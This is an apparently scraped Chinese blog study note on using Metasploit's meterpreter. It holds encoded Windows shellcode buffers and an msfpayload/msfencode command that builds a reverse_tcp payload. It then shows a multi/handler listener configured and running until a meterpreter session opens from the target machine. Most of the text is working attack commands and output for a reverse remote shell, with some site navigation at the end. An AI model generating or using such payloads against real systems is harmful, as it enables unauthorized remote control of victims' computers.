    "x37x50x54x52x33x51x44x50x32x50x50x52x4fx51" .
    "x42x50x4ax50x43x50x30x52x30x51x43x50x49x52" .
    "x4fx50x58x51x45x51x35x50x33x52x31x54x31x50" .
    "x50x52x4cx50x45x50x33x51x33x50x30x51x31x51" .
    "x31x41x41";
    


    meterpreter 使用  情况学习:

    root@bt:/pentest/exploits/framework# ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.198.135 R | ./msfencode -b 'x00' -t perl -e x86/alpha_mixed
    [*] x86/alpha_mixed succeeded with size 642 (iteration=1)
    
    my $buf = 
    "x89xe6xdbxd8xd9x76xf4x58x50x59x49x49x49x49" .
    "x49x49x49x49x49x49x43x43x43x43x43x43x37x51" .
    "x5ax6ax41x58x50x30x41x30x41x6bx41x41x51x32" .
    "x41x42x32x42x42x30x42x42x41x42x58x50x38x41" .
    "x42x75x4ax49x49x6cx4bx58x4ex69x45x50x43x30" .
    "x47x70x43x50x4cx49x5ax45x50x31x4ex32x50x64" .
    "x4ex6bx51x42x50x30x4ex6bx50x52x56x6cx4cx4b" .··········
    用的IP和端口 是  监听电脑的端口。在被攻击电脑上运行shellcode   然后监听电脑得到meterpreter

    msf > use exploit/multi/handler 
    msf  exploit(handler) > set payload windows/meterpreter/reverse_tcp
    payload => windows/meterpreter/reverse_tcp
    msf  exploit(handler) > set LPORT 4444
    LPORT => 4444
    msf  exploit(handler) > set LHOST 192.168.198.135
    LHOST => 192.168.198.135
    msf  exploit(handler) > show options 
    
    Module options (exploit/multi/handler):
    
       Name  Current Setting  Required  Description
       ----  ---------------  --------  -----------
    
    
    Payload options (windows/meterpreter/reverse_tcp):
    
       Name      Current Setting  Required  Description
       ----      ---------------  --------  -----------
       EXITFUNC  process          yes       Exit technique: seh, thread, process, none
       LHOST     192.168.198.135  yes       The listen address
       LPORT     4444             yes       The listen port
    
    
    Exploit target:
    
       Id  Name
       --  ----
       0   Wildcard Target
    
    
    msf  exploit(handler) > exploit 
    
    [*] Started reverse handler on 192.168.198.135:4444 
    [*] Starting the payload handler...
    [*] Sending stage (752128 bytes) to 192.168.198.136
    [*] Meterpreter session 1 opened (192.168.198.135:4444 -> 192.168.198.136:3961) at 2014-06-02 23:09:44 +0800
    
    meterpreter > 
    















  • 相关阅读:
    Linux下的压缩zip,解压缩unzip命令详解及实例
    org.hibernate.type.SerializationException: could not deserialize 反序列化失败
    oracle操作小计
    gradle项目与maven项目互转
    IntelliJ IDEA创建maven web项目(IDEA新手适用)
    数据结构篇——字典树(trie树)
    数据结构篇——并查集
    数据结构篇——优先级队列(堆)
    数据结构篇——平衡二叉树(AVL树)
    数据结构篇——二叉排序(查找,搜索)树
  • 原文地址:https://www.cnblogs.com/zcc1414/p/3982391.html
Copyright © 2020-2023  润新知